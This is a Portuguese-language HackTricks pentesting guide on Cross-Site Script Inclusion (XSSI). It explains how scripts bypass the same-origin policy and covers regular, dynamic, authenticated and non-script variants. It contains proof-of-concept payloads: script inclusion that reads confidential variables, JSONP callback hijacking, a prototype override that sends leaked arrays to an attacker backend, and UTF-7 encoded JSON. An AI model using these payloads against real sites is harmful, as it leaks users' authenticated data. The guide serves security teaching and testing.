hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

98 lines
7.9 KiB
Markdown
Raw Normal View History

# XSSI (Inclusão de Script de Sites Cruzados)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Informações Básicas
**Inclusão de Script de Sites Cruzados (XSSI)** é uma vulnerabilidade que surge da natureza da tag `script` em HTML. Ao contrário da maioria dos recursos, que estão sujeitos à **Política de Mesma Origem (SOP)**, scripts podem ser incluídos de diferentes domínios. Esse comportamento é destinado a facilitar o uso de bibliotecas e outros recursos hospedados em servidores diferentes, mas também introduz um risco de segurança potencial.
### Principais Características do **XSSI**:
- **Burla da SOP**: Scripts estão isentos da **Política de Mesma Origem**, permitindo que sejam incluídos em diferentes domínios.
- **Exposição de Dados**: Um atacante pode explorar esse comportamento para ler dados carregados via a tag `script`.
- **Impacto no JavaScript Dinâmico/JSONP**: **XSSI** é particularmente relevante para JavaScript dinâmico ou **JSON com Preenchimento (JSONP)**. Essas tecnologias frequentemente usam informações de "autoridade-ambiente" (como cookies) para autenticação. Quando uma solicitação de script é feita para um host diferente, essas credenciais (por exemplo, cookies) são automaticamente incluídas na solicitação.
- **Vazamento de Token de Autenticação**: Se um atacante puder enganar o navegador de um usuário para solicitar um script de um servidor que controlam, eles podem acessar informações sensíveis contidas nessas solicitações.
2023-06-06 18:56:34 +00:00
### Tipos
1. **JavaScript Estático** - Representa a forma convencional de XSSI.
2. **JavaScript Estático com Autenticação** - Esse tipo é distinto porque requer autenticação para acessar.
3. **JavaScript Dinâmico** - Envolve JavaScript que gera conteúdo dinamicamente.
4. **Não-JavaScript** - Refere-se a vulnerabilidades que não envolvem JavaScript diretamente.
**As informações a seguir são um resumo de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Consulte para mais detalhes.
### XSSI Regular
Neste método, informações privadas são incorporadas em um arquivo JavaScript globalmente acessível. Os atacantes podem identificar esses arquivos usando métodos como leitura de arquivos, pesquisas por palavras-chave ou expressões regulares. Uma vez localizado, o script contendo informações privadas pode ser incluído em conteúdo malicioso, permitindo acesso não autorizado a dados sensíveis. Uma técnica de exploração de exemplo é mostrada abaixo:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
Esses tipos de ataques XSSI envolvem informações confidenciais sendo adicionadas dinamicamente ao script em resposta a uma solicitação do usuário. A detecção pode ser realizada enviando solicitações com e sem cookies e comparando as respostas. Se as informações diferirem, isso pode indicar a presença de informações confidenciais. Esse processo pode ser automatizado usando ferramentas como a extensão Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Se os dados confidenciais estiverem armazenados em uma variável global, eles podem ser explorados usando métodos semelhantes aos usados no XSSI Regular. No entanto, se os dados confidenciais estiverem incluídos em uma resposta JSONP, os atacantes podem sequestrar a função de retorno de chamada para recuperar as informações. Isso pode ser feito manipulando objetos globais ou configurando uma função para ser executada pela resposta JSONP, conforme demonstrado abaixo:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Para variáveis que não residem no namespace global, *manipulação de protótipo* às vezes pode ser explorada. Essa técnica aproveita o design do JavaScript, onde a interpretação do código envolve percorrer a cadeia de protótipos para localizar a propriedade chamada. Ao substituir certas funções, como `slice` do `Array`, os atacantes podem acessar e vazar variáveis não globais:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Mais detalhes sobre vetores de ataque podem ser encontrados no trabalho do Pesquisador de Segurança [Sebastian Lekies](https://twitter.com/slekies), que mantém uma lista de [vetores](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
A pesquisa de Takeshi Terada introduz outra forma de XSSI, onde arquivos Non-Script, como CSV, são vazados entre origens ao serem incluídos como fontes em uma tag `script`. Instâncias históricas de XSSI, como o ataque de 2006 de Jeremiah Grossman para ler um livro de endereços completo do Google e o vazamento de dados JSON de 2007 de Joe Walker, destacam a gravidade dessas ameaças. Além disso, Gareth Heyes descreve uma variante de ataque envolvendo JSON codificado em UTF-7 para escapar do formato JSON e executar scripts, eficaz em certos navegadores:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>